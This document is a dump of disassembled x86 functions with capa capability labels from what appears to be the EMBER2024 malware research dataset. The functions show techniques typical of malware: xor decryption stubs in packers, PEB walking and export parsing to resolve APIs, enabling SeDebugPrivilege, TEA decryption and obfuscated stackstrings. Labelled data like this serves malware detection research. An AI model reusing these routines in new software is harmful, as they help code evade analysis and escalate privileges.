joyce8/EMBER2024-capa huggingface dataset:
Function at 0xa45690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [esp + 0x48]
movzx eax, word [eax]
mov dword [esp], 0x1065d53
mov word [esp + 4], 0
mov ecx, 0x13da8e83
mov edx, 0x7e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx - 0x13da8e83]
mov edi, esi
not edi
or edi, edx
lea esi, [esi + edi*2]
add esi, ecx
mov edi, esi
and edi, 0x7a
xor esi, 0x7a
lea ebx, [esi + edi*2]
inc bl
mov byte [esp + ecx - 0x13da8e83], bl
inc ecx
dec edx
cmp ecx, 0x13da8e89
jne 0xa456c0
xor ecx, ecx
cmp dword [esp], eax
setne cl
xor eax, eax
jmp dword [ecx*4 + 0xa1eef4]
Function at 0x10006870
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + edx*8 + 0x78]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x18], ecx

Function at 0x10006920
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
mov eax, dword fs:[0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 8]
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
add edx, 0xc
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
je 0x10006991
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x30]
push eax
call fcn.1000638a
add esp, 4
cmp dword [ebp + 8], eax
jne 0x10006987
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx + 0x18]
jmp 0x10006993
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 4], eax
jmp 0x1000695d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10006a90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
xor ecx, ecx
push esi
mov esi, dword [ebp + 0x14]
mov edx, 0x40000000
push edi
mov edi, dword [ebp + 0x10]
mov dword [esi], 0
nop dword [eax]
mov eax, edi
sub eax, ecx
cmp eax, 0x40000000
cmova eax, edx
push eax
mov eax, dword [ebp + 0xc]
add eax, ecx
push eax
push dword [ebx + 0x14]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__read]
add esp, 0xc
test eax, eax
jle 0x10006ae4
mov ecx, dword [esi]
mov edx, 0x40000000
add ecx, eax
mov dword [esi], ecx
cmp ecx, edi
jb 0x10006ab0
test eax, eax
jns 0x10006b08
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
push dword [eax]
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_strerror]
push eax
push 0xffffffffffffffff
push ebx
call fcn.10005f20
add esp, 0x10
or eax, 0xffffffff
pop edi
pop esi
pop ebx
pop ebp
ret
test eax, eax
jne 0x10006b13
mov dword [ebx + 0x40], 1
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret
Function at 0xd001b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00d00140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00d00140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00d00140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00d00140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0xd00bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xd00c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0xd1287c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0xd00c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0xd00c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x432002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6462e8d
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x62704ca0
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4320c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x409571
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a344]
jne 0x40957b
repz ret
jmp fcn.0040df5c

Function at 0x41218c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a344]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040b5ff
and dword [ebp - 0x14], 0
cmp dword [0x46b5ec], 0
mov dword [ebp - 0x18], eax
jne 0x41223f
push 0x403774
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4122e7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403768
push ebx
call edi
test eax, eax
je 0x4122e7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403758
push ebx
mov dword [0x46b5ec], eax
call edi
push eax
call esi
push 0x403744
push ebx
mov dword [0x46b5f0], eax
call edi
push eax
call esi
push 0x403728
push ebx
mov dword [0x46b5f4], eax
call edi
push eax
call esi
mov dword [0x46b5fc], eax
test eax, eax
je 0x41223f
push 0x403710
push ebx
call edi
push eax
call esi
mov dword [0x46b5f8], eax
mov eax, dword [0x46b5f8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x412298
cmp dword [0x46b5fc], ecx
je 0x412298
push eax
call esi
push dword [0x46b5fc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x412298
test ebx, ebx
je 0x412298
call edi
test eax, eax
je 0x41228f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41228f
test byte [ebp - 8], 1
jne 0x412298
or dword [ebp + 0x10], 0x200000
jmp 0x4122cb
mov eax, dword [0x46b5f0]
cmp eax, dword [ebp - 0x18]
je 0x4122cb
push eax
call esi
test eax, eax
je 0x4122cb
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4122cb
mov eax, dword [0x46b5f4]
cmp eax, dword [ebp - 0x18]
je 0x4122cb
push eax
call esi
test eax, eax
je 0x4122cb
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x46b5ec]
call esi
test eax, eax
je 0x4122e7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4122e9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409571
leave
ret
Function at 0x4140c0
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.00413760
cmp dword [0x80b744], 0x37
jne 0x414151
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0x403f68
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x403f88
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
lea edx, [esp + 0xc04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x80c328]
mov edx, dword [0x8087a4]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret
Function at 0x42e000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x5c9853f5
nop
nop
nop
nop
test eax, eax
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..text_1
mov ebx, 0x42cd70
nop
mov ecx, 0x2bde2dba
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x63d41feb
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, eax
sub esp, 0x4c
mov eax, dword [0x63d4b004]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
push edx
mov edx, eax
jne 0x63d4205e
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
sub esp, 0x10
test eax, eax
jne 0x63d42044
xor eax, eax
jmp 0x63d420df
mov dword [esp + 4], eax
mov dword [ebp - 0x44], eax
mov eax, dword [0x63d4b004]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov edx, dword [ebp - 0x44]
push eax
push eax
lea ebx, [ebp - 0x2c]
xor eax, eax
mov ecx, 5
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], edx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, esi
call fcn.63d41f94
test eax, eax
jne 0x63d420da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x63d4203d
lea eax, [ebp - 0x30]
mov dword [esp + 0xc], 1
mov dword [esp + 4], ebx
mov dword [esp], esi
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
sub esp, 0x10
test eax, eax
je 0x63d4203d
cmp dword [ebp + 0x10], 0
je 0x63d420da
mov eax, dword [ebp - 0x30]
mov edi, dword [ebp + 0x10]
mov dword [edi], eax
mov eax, 1
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x63d42e1b
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x63d42e56
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x63d42e3d
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x63d42e4e
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x63d42e58
inc edi
add eax, 0x28
cmp edi, esi
jb 0x63d42e33
xor eax, eax
pop edi
pop esi
ret

Function at 0x63d43658
Capabilities:
Contain obfuscated stackstrings

Disassembly:
test dword [ebx + 0x40fffffc], edi
mov byte [ebp - 0x344], 0x44
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.63d42deb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.63d42da0
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.63d42deb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.63d42da0
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], pe_nt_image_headers32
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.63d42deb
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.63d42da0
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.63d42ddb
jle 0x63d438b3
add dword [eax + eax*4 - 0x5b], esp
int3
invalid
Function at 0x43b643
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop eax
sub ecx, ebx
add ecx, 0x76b8a0ed
add ebx, ecx
call fcn.0043b685
inc ebx
xor dword [esi], eax
and ebx, ecx
add ecx, 0x7757c63f
sub esp, 4
mov dword [esp], ebx
pop ebx
inc esi
add ebx, 0xd4ce87c
cmp esi, edx
jne fcn.0043b643
add ebx, 0x34d01859
inc ecx
sub ecx, 0x9705988e
ret
Function at 0x4080e7
Capabilities:
Decrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 4]
mov edx, dword [edi]
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov dword [ebp - 0x20], ecx
mov ecx, dword [eax + 4]
mov dword [ebp - 0x24], ecx
mov ecx, dword [eax + 8]
mov eax, dword [eax + 0xc]
mov esi, 0xc6ef3720
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x28], 0x9e3779b9
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x20
and dword [0x2c2c85c], 0
mov ecx, edx
shr ecx, 5
add ecx, dword [ebp - 0x18]
mov ebx, edx
shl ebx, 4
add ebx, dword [ebp - 0x1c]
lea eax, [esi + edx]
xor ecx, ebx
xor ecx, eax
mov dword [ebp - 8], eax
mov dword [ebp + 0xc], ecx
mov eax, dword [ebp + 0xc]
add dword [0x2c2c85c], eax
mov eax, dword [ebp + 0xc]
sub dword [ebp + 8], eax
mov eax, dword [ebp + 8]
shl eax, 4
add eax, dword [ebp - 0x20]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
or dword [0x2c2c864], 0xffffffff
shr eax, 5
mov dword [0x2c2c860], 0xff6b3619
mov dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x24]
add dword [ebp + 0xc], eax
push dword [ebp - 8]
lea eax, [ebp - 0xc]
push eax
call fcn.00408082
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
call fcn.00408082
sub edx, dword [ebp - 0xc]
and dword [ebp - 4], 0
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
sub esi, dword [ebp - 4]
dec dword [ebp - 0x14]
mov dword [ebp - 0x10], esi
jne 0x40812b
mov eax, dword [ebp + 8]
mov dword [edi], edx
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x4081d6
Capabilities:
Copy file
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa58
push esi
xor esi, esi
cmp dword [0x2c3032c], 0x516
push edi
jne 0x408217
push esi
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xa58]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov eax, dword [ebp + 0xc]
shr eax, 3
cmp eax, esi
jbe 0x408278
mov edi, dword [ebp + 8]
push ebx
mov ebx, eax
cmp dword [0x2c3032c], 0x29
jne 0x40823c
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
cmp dword [0x2c3032c], 0xe1b
jne 0x408256
lea eax, [ebp - 0x258]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
cmp dword [0x2c3032c], 0x1c
jne 0x408268
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push dword [ebp + 0x10]
push edi
call fcn.004080e7
add edi, 8
dec ebx
jne 0x408227
pop ebx
pop edi
pop esi
leave
ret 0xc
Function at 0x40827e
Capabilities:
Connect pipe
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2560
call fcn.00408f20
cmp dword [0x2c3032c], 0x37
jne 0x4083c3
push ebx
push esi
push edi
xor eax, eax
xor esi, esi
mov dword [ebp - 0x28], esi
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
lea eax, [ebp - 0x960]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x1d60]
push eax
push esi
push esi
push 0x4012f0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0x401308
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExW]
push 0x401350
push 0x4013ac
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea eax, [ebp - 0x10]
push eax
push esi
push esi
push esi
call ebx
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push esi
lea eax, [ebp - 0x1960]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0x4013b8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
lea eax, [ebp - 0x560]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
push esi
push esi
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenThread]
push esi
lea eax, [ebp - 0x2560]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push esi
push esi
push esi
lea eax, [ebp - 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push esi
lea eax, [ebp - 0xd60]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_UnlockFile]
pop edi
pop esi
pop ebx
mov eax, dword [0x2c31eb0]
mov dword [ebp - 4], eax
mov eax, 0x38d6
add dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov cl, byte [ecx + eax]
mov edx, dword [0x2c2c858]
mov byte [edx + eax], cl
leave
ret 4
Function at 0x408a0d
Capabilities:
Get file attributes
Get file size
Get hostname
Read .ini file
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x203c
call fcn.00408f20
push ebx
push esi
xor esi, esi
push edi
xor ebx, ebx
cmp dword [0x2c3032c], 0x47
jne 0x408ab6
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor eax, eax
mov dword [ebp - 0x20], esi
lea edi, [ebp - 0x1c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x3c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PrepareTape]
push esi
lea eax, [ebp - 0xc3c]
push eax
push esi
push 0x401408
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
push 0x40144c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push esi
push esi
lea eax, [ebp - 0x43c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
cmp ebx, 0x4caf
je 0x408b73
cmp dword [0x2c3032c], 0xf
jne 0x408b64
push esi
lea eax, [ebp - 0x43c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll__hwrite]
push 0x40148c
push esi
lea eax, [ebp - 0x183c]
push eax
push 0x4014b8
push 0x4014d0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
lea eax, [ebp - 0xc]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push esi
lea eax, [ebp - 0x143c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push esi
lea eax, [ebp - 0x203c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x4014dc
lea eax, [ebp - 0x83c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
inc ebx
cmp ebx, 0x24437b6
jl 0x408a21
jmp 0x408b7d
mov eax, dword [0x426548]
mov dword [0x2c3032c], eax
cmp dword [0x2c3032c], 3
jne 0x408bac
push esi
call fcn.004092e0
push esi
push esi
call fcn.00409090
add esp, 0xc
cmp dword [0x2c3032c], 0x22
jne 0x408ba7
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
call fcn.00408f50
cmp esi, 0x41d
jne 0x408bbe
add dword [0x2c3032c], 0x38d6
inc esi
cmp esi, fcn.0040bbb0
jl 0x408bac
call fcn.004084fc
call fcn.004083e9
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
Function at 0x4092e0
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4092ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x409306
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40931d
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040e5c0
add esp, 4
or eax, 0xffffffff
jmp 0x40931f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40d930
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x435c44]
jne 0x40d93a
repz ret
jmp fcn.00416b50